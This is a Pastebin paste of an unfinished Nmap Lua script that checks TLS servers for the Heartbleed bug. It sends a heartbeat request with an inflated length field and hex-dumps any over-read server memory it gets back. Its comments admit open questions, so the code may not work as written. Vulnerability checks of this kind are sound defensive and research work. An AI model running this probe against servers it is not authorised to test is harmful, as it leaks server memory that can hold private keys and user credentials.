Advertisement
bonsaiviking

tls-heartbleed.nse - incomplete

Apr 8th, 2014
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 3.55 KB | None | 0 0
  1. local nmap = require "nmap"
  2. local shortport = require "shortport"
  3. local stdnse = require "stdnse"
  4. local bin = require "bin"
  5. local tls = require "tls"
  6.  
  7. description = [[
  8. Checks for the Heartbleed bug
  9.  
  10. References:
  11. * http://heartbleed.com/
  12. ]]
  13.  
  14. ---
  15. -- @usage
  16. -- nmap --script=tls-heartbeat <targets>
  17. --
  18. --@output
  19. -- 443/tcp open  https
  20. -- |_tls-heartbeat:
  21. --
  22. -- @xmloutput
  23.  
  24.  
  25. author = "Daniel Miller"
  26.  
  27. license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
  28.  
  29. categories = {"discovery", "safe"}
  30.  
  31. portrule = shortport.ssl
  32.  
  33. action = function(host, port)
  34.   local sock, status, response, err, cli_h
  35.  
  36.   cli_h = tls.client_hello({
  37.     ["protocol"] = "TLSv1.1",
  38.     ["ciphers"] = {
  39.       "TLS_RSA_WITH_3DES_EDE_CBC_SHA",
  40.       "TLS_RSA_WITH_RC4_128_MD5",
  41.     },
  42.     ["compressors"] = {"NULL"},
  43.     ["extensions"] = {
  44.       ["heartbeat"] = "\x01", -- peer_not_allowed_to_send
  45.     },
  46.   })
  47.  
  48.   -- Connect to the target server
  49.   sock = nmap.new_socket()
  50.   sock:set_timeout(1000)
  51.   status, err = sock:connect(host, port)
  52.   if not status then
  53.     sock:close()
  54.     stdnse.print_debug("Can't send: %s", err)
  55.     return nil
  56.   end
  57.  
  58.   local handshake_done = false
  59.   -- Send Client Hello to the target server
  60.   status, err = sock:send(cli_h)
  61.   if not status then
  62.     stdnse.print_debug("Couldn't send: %s", err)
  63.     sock:close()
  64.     return nil
  65.   end
  66.  
  67.   -- Read response
  68.   local done = false
  69.   local supported = false
  70.   repeat
  71.     status, response, err = tls.record_buffer(sock)
  72.     if err == "TIMEOUT" then
  73.       done = true
  74.       break
  75.     elseif not status then
  76.       stdnse.print_debug("Couldn't receive: %s", err)
  77.       sock:close()
  78.       return nil
  79.     end
  80.  
  81.     local i = 1
  82.     while i <= #response do
  83.       local record
  84.       i, record = tls.record_read(response, i)
  85.       if record == nil then
  86.         stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
  87.         return nil
  88.       end
  89.  
  90.       if record.type == "handshake" then
  91.         for _, body in ipairs(record.body) do
  92.           if body.type == "server_hello" then
  93.             if body.extensions and body.extensions["heartbeat"] == "\x01" then
  94.               supported = true
  95.             end
  96.           elseif body.type == "server_hello_done" then
  97.             stdnse.print_debug("we're done!")
  98.             done = true
  99.           end
  100.         end
  101.       end
  102.     end
  103.   until done -- Not done, need a completed handshake :(
  104.   if not supported then
  105.     stdnse.print_debug("%s: Server does not support TLS Heartbeat Requests.", SCRIPT_NAME)
  106.     return nil
  107.   end
  108.  
  109.   local numbytes = 0x79
  110.   local padding = "YELLOW SUBMARINE"
  111.   local payload = bin.pack("AA", "nmap", padding) -- Maybe should be ">P>P"?
  112.   local hb = tls.record_write("heartbeat", "TLSv1.1", bin.pack("C>SA",
  113.       1, -- heartbeat_request
  114.       numbytes,
  115.       payload
  116.       )
  117.     )
  118.  
  119.   local status, err = sock:send(hb)
  120.   -- Read response
  121.   status, response, err = tls.record_buffer(sock)
  122.   if not status then
  123.     stdnse.print_debug("Couldn't receive: %s", err)
  124.     sock:close()
  125.     return nil
  126.   end
  127.  
  128.   local i, record = tls.record_read(response, 0)
  129.   if record == nil then
  130.     stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
  131.     return nil
  132.   end
  133.  
  134.   if record.type == "heartbeat" and record.body[1].type == 2 then
  135.     local payload = record.body[1].payload
  136.     if #payload > 4 then
  137.       return "VULNERABLE\n" .. stdnse.to_hex(payload)
  138.     end
  139.   else
  140.     stdnse.print_debug("%s: Server response was not heartbeat_response", SCRIPT_NAME)
  141.     return nil
  142.   end
  143. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement